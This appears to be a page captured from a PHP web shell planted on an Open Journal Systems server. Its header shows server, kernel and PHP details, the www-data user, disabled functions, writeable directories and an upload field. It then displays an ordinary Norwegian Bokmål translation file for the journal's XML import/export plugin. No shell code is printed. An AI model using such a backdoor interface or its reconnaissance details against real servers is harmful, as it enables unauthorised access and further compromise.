KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/plugins/importexport/native/locale/nb_NO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/plugins/importexport/native/locale/nb_NO/locale.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-03-20T15:57:55+00:00\n"
"PO-Revision-Date: 2020-10-19 15:22+0000\n"
"Last-Translator: Eirik Hanssen <[email protected]>\n"
"Language-Team: Norwegian Bokmål <http://translate.pkp.sfu.ca/projects/ojs/"
"importexport-native/nb_NO/>\n"
"Language: nb_NO\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "plugins.importexport.native.displayName"
msgstr "Programtillegg for Lokal XML"

msgid "plugins.importexport.native.description"
msgstr "Importer og eksporter artikler og hefter i OJS lokale XML format."

msgid "plugins.importexport.native.import.error.publishedDateMissing"
msgstr ""
"Artikkelen «{$articleTitle}» er i en utgave, men har ingen publiseringsdato."

msgid "plugins.importexport.native.import.error.issueIdentificationMissing"
msgstr "«{$articleTitle}» mangler utgaveidentifikatorelementet."

msgid "plugins.importexport.native.import.error.issueIdentificationDuplicate"
msgstr ""
"Eksisterende utgave med identiteten {$issueId} stemmer overens med "
"utgaveidentifikatoren «{$issueIdentification}». Denne utgaven vil ikke bli "
"modifisert, men artiklene vil bli lagt til."

msgid "plugins.importexport.native.import.error.issueIdentificationMatch"
msgstr ""
"Ingen eller flere enn en utgave stemmer overens med den oppgitte "
"utgaveidentifikatoren {$issueIdentification}»."

msgid "plugins.importexport.native.import.error.sectionAbbrevMatch"
msgstr ""
"Seksjonsforkortelsen «{$sectionAbbrev}» i utgaven «{$issueTitle}» stemte "
"overens med en eksisterende tidsskriftsseksjon, men en annen forkortelse av "
"denne seksjonen stemmer ikke overens med en annen forkortelse av den "
"eksisterende tidsskriftsseksjonen."

msgid "plugins.importexport.native.import.error.sectionAbbrevMismatch"
msgstr ""
"Seksjonsforkortelsen «{$section1Abbrev}» og seksjonsforkortelsen "
"«{$section2Abbrev}» i utgaven «{$issueTitle}» stemte overens med ulike "
"eksisterende tidsskriftsseksjoner."

msgid "plugins.importexport.native.import.error.sectionTitleMatch"
msgstr ""
"Seksjonstittelen «{$sectionTitle}» i utgaven «{$issueTitle}» stemte med en "
"eksisterende tidsskriftssekjson, men en annen tittel i denne seksjonen "
"stemmer ikke overens med en annen tittel i den eksisterende "
"tidsskriftsseksjonen."

msgid "plugins.importexport.native.import.error.sectionTitleMismatch"
msgstr ""
"Seksjonstitene «{$section1Title}» og «{$section2Title}» i utgaven "
"«{$issueTitle}» stemte med ulike eksisterende tidsskriftseksjoner."

msgid "plugins.importexport.native.error.unknownUser"
msgstr "Brukeren du spesifiserte, «{$userName}», finnes ikke."

msgid "plugins.importexport.native.error.unknownSection"
msgstr "Ukjent seksjon {$param}"

msgid "plugins.importexport.native.cliUsage"
msgstr ""
"Bruk: {$scriptName} {$pluginName} [command] ...\n"
"Kommandoer:\n"
"    import [xmlFileName] [journal_path] [user_name] ...\n"
"    eksport [xmlFileName] [journal_path] artikler [articleId1] [articleId2] "
"...\n"
"    eksport [xmlFileName] [journal_path] artikler [articleId]\n"
"    eksport [xmlFileName] [journal_path] utgaver [issueId1] [issueId2] ...\n"
"    eksport [xmlFileName] [journal_path] utgaver [issueId]\n"
"\n"
"Ytterligere parametere kreves for import av data, avhenging av rotnoden i "
"XML-dokumentet.\n"
"Dersom rotnoden er <artikkel> eller <artikler>, må du legge inn flere "
"parametre.\n"
"\n"
"Følgende formater aksepteres:\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path] [user_name]\n"
"    issue_id [issueId] section_id [sectionId]\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path] [user_name]\n"
"    issue_id [issueId] section_name [name]\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path]\n"
"    issue_id [issueId] section_abbrev [abbrev]\n"

msgid "plugins.importexport.native.importComplete"
msgstr "Importen var vellykket. Disse elementene ble importert:"

msgid "plugins.inportexport.native.uploadFile"
msgstr "Last opp en fil under «Import» for å fortsette."

msgid "plugins.importexport.native.results"
msgstr "Resultater"

msgid "plugins.importexport.native.exportIssues"
msgstr "Eksporter utgaver"

msgid "plugins.importexport.native.exportSubmissions"
msgstr "Eksporter artikler"

msgid "plugins.importexport.native.exportSubmissionsSelect"
msgstr "Velg artikler"

msgid "plugins.importexport.native.import.instructions"
msgstr "Last opp en XML-fil for import"

msgid "plugins.importexport.native.import"
msgstr "Importer"

KUNTUL | JINGKONTOT |